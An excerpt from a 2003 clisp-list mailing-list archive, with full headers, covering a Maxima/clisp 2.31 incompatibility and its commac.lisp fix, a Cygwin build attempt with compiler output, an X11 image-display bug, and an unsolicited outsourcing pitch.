>>gclisp(2.5.0) for exact same problems. The build_info for both is inclu= ded. >>OS ENVIRONMENT: CYGWIN under WINXP >>CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5= } >=20 >=20 > I am pretty sure there is a small, but important conflict between clisp > 2.31 and Maxima 5.9.0. The good news is that the problem is fixed in > CVS. The bad news is that I don't remember exactly which change it was. > (Anyone else? It may have been a change for CMUCL. It definitely > predates Clisp 2.31.)=20 >=20 > We need to think about making a 5.9.1 release. In the meantime, getting > the CVS version of Maxima would be the easiest workaround. >=20 Right, Maxima 5.9.0 will not work with clisp 2.31 and 2.30 (other=20 reason). As for clisp 2.31 incompatibolity - the fix is the latest patch to commac.lisp (maclisp-typep). --=20 Vadim V. Zhytnikov From development@cifrosoft.com Sat Sep 20 05:22:42 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0gl8-0004w4-00 for ; Sat, 20 Sep 2003 05:22:42 -0700 Received: from cgp.agava.net ([195.161.118.95]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0gl7-0003Be-Rf for clisp-list@lists.sourceforge.net; Sat, 20 Sep 2003 05:22:42 -0700 Received: from 212.192.99.8 ([212.192.99.8] verified) by cgp.agava.net (CommuniGate Pro SMTP 3.5.9) with SMTP id 10041861 for clisp-list@lists.sourceforge.net; Sat, 20 Sep 2003 16:22:08 +0400 From: "Vitaly Demin" To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Reply-To: "Vitaly Demin" Message-ID: X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Partnering Enquiry from CifroSoft LLC (Russia) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 20 05:23:05 2003 X-Original-Date: Sat, 20 Sep 2003 19:22:00 +0700 Dear colleagues, We are a software development company from Tomsk, Russia. We have been working on the Russian IT market for quite a long time and completed many projects. Now we plan to work with western software companies to become its outsourcing partner here in Russia. As you know such corporations as IBM and SUN Microsystems cooperate with Russian companies because it greatly reduces their costs as the labour force in Russia is a lot cheaper than in the west. Moreover Russian programmers are in high demand worldwide. We found your company rather professional in software development and if you are interested we are ready to become your partner in developing any kind of software. Actually there are two ways we can cooperate. 1. We can work with project components or entire projects of any scale. That is we'll be doing offshore programming for you on the terms we'll have discussed or 2. We can become your affiliate where our programmers we'll be working. It's up to you to make your choice. Below you can see a detailed list of our abilities and professional skills: Programming Languages C++ (Visual C++ 6.0/NET) Java (Java2) Technologies and Standards Win32 API Microsoft DNA (DCOM/COM+) DirectX, OpenGL, GDI+ TCP/IP protocols Java2 Enterprise Edition (Servlets, JSP, EJB, etc) ADO, DAO, BDE, JDBC, ODBC, etc Databases MS SQL Server Microsoft Access Sybase Oracle (PL/SQL, OCI) Software Engineering Tools Rational ROSE ErWin Power Designer All this information and all details about our company you can find at www.cifrosoft.com. We would be very glad to hear back from you. We will consider any kind of business cooperation offer from you if you are interested in our partnering. Please, write to us any time convenient for you. Sincerely Vitaly Demin Development Manager CifroSoft LLC From lisp-clisp-list@m.gmane.org Sat Sep 20 06:00:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0hLS-0007ME-00 for ; Sat, 20 Sep 2003 06:00:14 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0hLR-0006VK-Fz for clisp-list@lists.sourceforge.net; Sat, 20 Sep 2003 06:00:13 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A0hL3-0007XO-00 for ; Sat, 20 Sep 2003 14:59:49 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A0hL2-0007XG-00 for ; Sat, 20 Sep 2003 14:59:48 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A0hLN-00024z-00 for ; Sat, 20 Sep 2003 15:00:09 +0200 From: Barry Fishman Lines: 53 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Face: ,b"GM7)/AGw6p$#|B#Rk'k,tEyoUap#?/bbfxLu<.uA(VNR9mfm&hF~hX6C24G=\|>E>y[5 FSZx)~.YQn,Je23!f:'_)Jo{#1>atqPQJC List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 20 06:01:03 2003 X-Original-Date: Sat, 20 Sep 2003 08:59:36 -0400 Since the last CVS code reorganization my calls to xlib:put-image, using the new-clx module, do not seem to display the image correctly. My code works with previous CVS snapshots and with cmu lisp. I am using SuSE Linux 8.1. For example, the gremblin X bitmap (under SuSE) /usr/X11R6/include/X11/bitmaps/m-grelb.xbm. Reading it with: (setf *gremblin* (or (xlib:read-bitmap-file bmfile) (error "Cannot read bitmap file: ~A~%" bmfile)))) I get the structure (as before) #S(XLIB:IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (:NAME :M-GRELB) :FORMAT :Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T :BYTE-LSB-FIRST-P T :DATA #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255 15 0 0 0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0 192 15 254 224 7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192 255 255 255 7 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255 255 255 1 0 0 0 0 254 255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0 0 0 0 0 0 255 1 0 0 0 0 0 0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0 0 0 0 255 199 255 1 0 0 0 0 254 131 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :UNIT 32 :PAD 32 :LEFT-PAD 0) When I try to display it with: (defun show-image (win gcon image) "Display image. Called on exposure events." ;; (format t "-- Exposure --~%") (xlib:put-image win gcon image :x 0 :y 0 :width (xlib:image-width image) :height (xlib:image-height image) :bitmap-p t) (xlib:display-force-output *display*)) I get the right edge of the gremblin along the left edge of the window, the left edge of the gremblin along the right edge of the window, and just space in-between. The window is the same size as the bitmap, but resizing the window does not effect the image displayed. I have a short test program (105 lines) and the x bitmap file, which I can supply upon request. From lisp-clisp-list@m.gmane.org Sat Sep 20 18:20:39 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0stz-0001OM-00 for ; Sat, 20 Sep 2003 18:20:39 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0stv-0008Kr-Ma for clisp-list@lists.sourceforge.net; Sat, 20 Sep 2003 18:20:35 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A0stX-0008LC-00 for ; Sun, 21 Sep 2003 03:20:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A0sPp-0007yB-00 for ; Sun, 21 Sep 2003 02:49:29 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A0sQC-0003NY-00 for ; Sun, 21 Sep 2003 02:49:52 +0200 From: James Amundson Organization: Maxima team Lines: 26 Message-ID: References: <1064018960.12402.3.camel@addiator.nap.wideopenwest.com> <200309200123.h8K1Nl700809@all.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Pan/0.14.2 (This is not a psychotic episode. It's a cleansing moment of clarity.) X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT (0.0 points) Has a User-Agent header Subject: [clisp-list] Re: Re: [Maxima] clisp and gclisp give different answer for the same Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 20 18:21:30 2003 X-Original-Date: Sat, 20 Sep 2003 19:49:52 -0500 On Fri, 19 Sep 2003 18:23:47 -0700, Fred Cohen wrote: > So we are all clear, which versions have this problem? Clisp 2.29 works well with Maxima 5.9.0. Clisp 2.30 has some problem with numerical type conversions that causes huge problems with Maxima, as is documented in the file README.lisps, which is included in the Maxima distribution.. Clisp 2.31 has "this problem" with Maxima 5.9.0, but the problem is fixed in the current Maxima cvs. > And on another related issue - how can it really be that we get a > working functional system with that wrong an answer? Maxima comes with a test suite, which can be invoked with "make check" in the source directory. When compiled with Clisp 2.31, Maxima 5.9.0 crashes roughly 1/3 of the way into the test suite. It isn't a working, functional system. > It dramtically > reduces my confidence in the tests and related material associated with > maxima / clisp if such problems can happen so easily without notice. The current Maxima test suite easily identifies the problem. I would be worried if it didn't. --Jim Amundson From jaalto@tpu.fi Sun Sep 21 02:51:44 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A10sa-0000pU-00 for ; Sun, 21 Sep 2003 02:51:44 -0700 Received: from faraday.tpu.fi ([193.167.70.20]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A10sZ-0003Qx-QN for clisp-list@lists.sourceforge.net; Sun, 21 Sep 2003 02:51:44 -0700 Received: from newton.tpu.fi (newton.tpu.fi [193.167.70.2]) by faraday.tpu.fi (8.9.3p2/8.9.3) with ESMTP id MAA06172; Sun, 21 Sep 2003 12:50:20 +0300 (EET DST) Received: (from jaalto@localhost) by newton.tpu.fi (8.8.8+Sun/8.8.8) id MAA13525; Sun, 21 Sep 2003 12:50:19 +0300 (EET DST) X-Authentication-Warning: newton.tpu.fi: jaalto set sender to jaalto@newton.tpu.fi using -f To: clisp-list@lists.sourceforge.net References: From: Jari Aalto CC: "Jari.aalto@tpu.fi Aalto" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.9 (/) X-Spam-Report: -0.9/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] Re: CLISP - compile troubles (Cygwin porting - REPOST) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 21 02:52:06 2003 X-Original-Date: Sun, 21 Sep 2003 12:50:19 +0300 I'm receiving large amounts of audio and picture files from spammers and any response to my previous mail got mistakenly sent to /dev/null by my spam filters. The filters are now fixed so, if you could kindly answer to this mail once again. [Keep CC, thank you] > root@w2kpicasso:/usr/src/build/clisp/clisp-2.31# ls -la build-cygwin/ > total 0 > drwxr-xr-x 2 root None 0 Sep 15 23:19 . > drwxr-xr-x 22 root None 0 Sep 15 22:25 .. > > Let me know how to proceed please replace "--install" with "--build --install". sorry. if you do not have libsigsegv installed, I suggest getting it from ftp://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.1.tar.gz and installing it with ./configure --prefix /usr/local/libsigsegv-cygwin make && make check && make install (you can omit --prefix here in --with-libsigsegv-prefix=/usr/local/libsigsegv-cygwin in CLISP config if you do not need libsigsegv/mingw). this is not required, but _highly_ recommended. this is a _build-time_ dependency only (not a run-time dependency!) I had to port libsegv to cygwin first (Just announced ITP in cygwin-apps mailing list), so I'm back in clisp again. Here is the latest build messages, let me know how to proceed. ./configure \ --prefix=/usr \ --exec-prefix=/usr \ --with-dynamic-ffi \ --with-module=syscalls \ --with-module=regexp \ --fsstnd=redhat \ --with-module=dirkey \ --with-module=bindings/win32 \ --with-libsigsegv-prefix=/usr/lib \ --install --build cygwin I used ftp://ftp.gnu.org/pub/gnu/libsigsegv/ which had version libsigsegv-2.0 (You mentioned 2.1 ?) Jari ln -s ../src/nls_cp1257.c nls_cp1257.c ln -s ../src/nls_hp_roman8.c nls_hp_roman8.c ln -s ../src/nls_nextstep.c nls_nextstep.c ln -s ../src/nls_jisx0201.c nls_jisx0201.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c encoding.c encoding.d: In function `nls_range': encoding.d:1658: warning: `i1' might be used uninitialized in this function encoding.d:1659: warning: `i2' might be used uninitialized in this function ln -s ../src/pathname.d pathname.d ./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c pathname.c pathname.d: In function `parse_logical_word': pathname.d:1529: warning: `ch' might be used uninitialized in this function pathname.d: In function `C_launch': pathname.d:10862: warning: variable `exit_code' might be clobbered by `longjmp' or `vfork' ln -s ../src/stream.d stream.d ./comment5 stream.d | ./ansidecl | ./varbrace > stream.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c stream.c stream.d: In function `iconv_range': stream.d:3932: warning: `i1' might be used uninitialized in this function stream.d:3933: warning: `i2' might be used uninitialized in this function stream.d: In function `lisp_completion': stream.d:9147: warning: variable `array' might be clobbered by `longjmp' or `vfork' stream.d:9154: warning: variable `ptr' might be clobbered by `longjmp' or `vfork' stream.d:9169: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork' make: *** [stream.o] Interrupt From sds@gnu.org Mon Sep 22 06:44:48 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A1Qzg-00030V-00 for ; Mon, 22 Sep 2003 06:44:48 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A1Qzf-0007LU-Ay for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 06:44:47 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8MDiBe26276; Mon, 22 Sep 2003 09:44:11 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Matthias Neeracher Cc: William McCallum , clisp-list@lists.sourceforge.net References: <3E35AD86-EC00-11D7-A658-000502B1B193@mac.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3E35AD86-EC00-11D7-A658-000502B1B193@mac.com> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: clisp upgrade strategy Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 22 06:45:18 2003 X-Original-Date: 22 Sep 2003 09:44:10 -0400 > * Matthias Neeracher [2003-09-20 23:53:01 -0700]: > > On Saturday, September 20, 2003, at 04:40 PM, William McCallum wrote: > > Yes, I can confirm that this happened here as well. I've CC'd Sam > Steingold on this message. please do not CC me personally. use clisp-list instead. thanks. . > Sam, is this a known issue? it has been reported to both clisp-list and maxima list. > >> (D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) > >> t)) > >> ] > >> 1. Break [1]> > >> > >> d > >> /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) > >> dt the "Break" prompt indicates something fishi. William will need to find out where is it coming from. -- Sam Steingold (http://www.podval.org/~sds) running w2k Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. From amundson@users.sourceforge.net Mon Sep 22 08:22:46 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A1SWU-00020u-00 for ; Mon, 22 Sep 2003 08:22:46 -0700 Received: from woozle.fnal.gov ([131.225.9.22]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A1SWS-0006q0-BY for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 08:22:44 -0700 Received: from conversion-daemon.woozle.fnal.gov by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) id <0HLM00D01FUQMX@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 10:22:43 -0500 (CDT) Received: from abacus.dhcp.fnal.gov (abacus.dhcp.fnal.gov [131.225.95.166]) by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) with ESMTPSA id <0HLM007C3G1VHQ@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 10:22:43 -0500 (CDT) From: James Amundson In-reply-to: To: clisp-list@lists.sourceforge.net Message-id: <1064244163.5825.14.camel@abacus.dhcp.fnal.gov> Organization: None MIME-version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Content-type: text/plain Content-transfer-encoding: 7BIT References: <1064018960.12402.3.camel@addiator.nap.wideopenwest.com> <200309200123.h8K1Nl700809@all.net> X-Spam-Score: -4.9 (----) X-Spam-Report: -4.9/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT_XIMIAN (-2.4 points) Headers indicate a non-spam MUA (Ximian) Subject: [clisp-list] Re: clisp and gclisp give different answer for the same Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 22 08:23:07 2003 X-Original-Date: Mon, 22 Sep 2003 10:22:43 -0500 On Mon, 2003-09-22 at 09:24, Sam Steingold wrote: > The following message is a courtesy copy of an article > that has been posted to gmane.lisp.clisp.general as well. > > > * James Amundson [2003-09-20 19:49:52 -0500]: > > When compiled with Clisp 2.31, Maxima 5.9.0 crashes roughly 1/3 of the > > way into the test suite. It isn't a working, functional system. > > could you please send us with a test case? If you have a maxima source directory, just type "make check". You should get "Unkown error in log file." The details can be seen in tests/tests-clisp.log. The problem is completely maxima's fault. Raymond Toy fixed the problem in CVS a few months ago. I've attached the relevant section of code below. (The buggy function is the one that now has #+nil.) We will try to make a new release soon. --Jim Relevant section of commac.lisp: ;; This assumes way too much about how typep works, so don't use it. ;; We leave it here for reference to make sure the replacement below ;; does the same thing. #+nil (defun maclisp-typep (x &optional type) (cond (type (lisp:let (( pred (get type 'ml-typep))) (cond (pred (funcall pred x)) (t (typep x type))))) (t (lisp:let ((.type. (#. (if (boundp '*primitive-data-type-function*) *primitive-data-type-function* 'type-of) x))) (cond ((one-of-types .type. 'hi nil) 'symbol) ((one-of-types .type. '(a)) 'list) ((one-of-types .type. 3) 'fixnum) ((one-of-types .type. (make-array 3) "abc") (cond ((stringp x) 'string) ;;should really be symbol 'ugggh #+ti ((hash-table-p x) 'hash-table) (t 'array))) ((one-of-types .type. (expt 2 50) 1.234 most-positive-single-float most-positive-double-float most-positive-long-float ) (cond ((integerp x) 'bignum) ((floatp x) 'flonum ) (t 'number))) ;;note the following is 'random in maclisp ((one-of-types .type. #'cons) 'compiled-function) #-ti ((one-of-types .type. (make-hash-table)) (cond ((hash-table-p x) 'hash-table) (t (type-of x)))) ((arrayp x) 'array) ;((one-of-types .type. (make-array '(2 3))) 'array) (t (type-of x))))))) ;; A more portable implementation of maclisp-typep. I (rtoy) think it ;; would probably be better to replace uses of maclisp-typep and/or ;; ml-typep with the corresponding Common Lisp typep or type-of or ;; subtypep, as appropriate. (defun maclisp-typep (x &optional type) (cond (type (lisp:let ((pred (get type 'ml-typep))) (cond (pred (funcall pred x)) (t (typep x type))))) (t (typecase x (cl:cons 'list) (cl:fixnum 'fixnum) (cl:integer 'bignum) (cl:float 'flonum) (cl:number 'number) (cl:array 'array) (cl:hash-table 'hash-table) (t (type-of x)))))) From amundson@users.sourceforge.net Mon Sep 22 10:50:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A1Upt-0000Vj-00 for ; Mon, 22 Sep 2003 10:50:57 -0700 Received: from woozle.fnal.gov ([131.225.9.22]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A1Ups-0006Al-Iz for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 10:50:56 -0700 Received: from conversion-daemon.woozle.fnal.gov by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) id <0HLM00M01M220X@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 12:50:56 -0500 (CDT) Received: from abacus.dhcp.fnal.gov (abacus.dhcp.fnal.gov [131.225.95.166]) by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) with ESMTPSA id <0HLM0072GMWCI5@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 12:50:36 -0500 (CDT) From: James Amundson In-reply-to: To: clisp-list@lists.sourceforge.net Message-id: <1064253037.5825.17.camel@abacus.dhcp.fnal.gov> Organization: None MIME-version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Content-type: text/plain Content-transfer-encoding: 7BIT References: <1064018960.12402.3.camel@addiator.nap.wideopenwest.com> <200309200123.h8K1Nl700809@all.net> <1064244163.5825.14.camel@abacus.dhcp.fnal.gov> X-Spam-Score: -4.9 (----) X-Spam-Report: -4.9/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT_XIMIAN (-2.4 points) Headers indicate a non-spam MUA (Ximian) Subject: [clisp-list] Re: clisp and gclisp give different answer for the same Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 22 10:51:11 2003 X-Original-Date: Mon, 22 Sep 2003 12:50:37 -0500 On Mon, 2003-09-22 at 10:45, Sam Steingold wrote: > thanks - I thought that "crash" meant a CLISP sergfault (which is always > a CLISP fault, not an application problem). That's a reasonable assumption. What I really meant is that Maxima falls into the Lisp debugger, which is Maxima's equivalent of crashing. Sorry for causing unnecessary alarm. --Jim From don-sourceforge@isis.cs3-inc.com Mon Sep 22 22:14:29 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A1fVN-0006Az-00 for ; Mon, 22 Sep 2003 22:14:29 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A1fVM-0005fW-Iy for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 22:14:28 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h8N59on24031 for clisp-list@lists.sourceforge.net; Mon, 22 Sep 2003 22:09:50 -0700 Message-Id: <200309230509.h8N59on24031@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: -0.4 (/) X-Spam-Report: -0.4/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header Subject: [clisp-list] more build problems with 2.31 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 22 22:15:07 2003 X-Original-Date: Mon, 22 Sep 2003 22:09:50 -0700 This on more recent hardware and 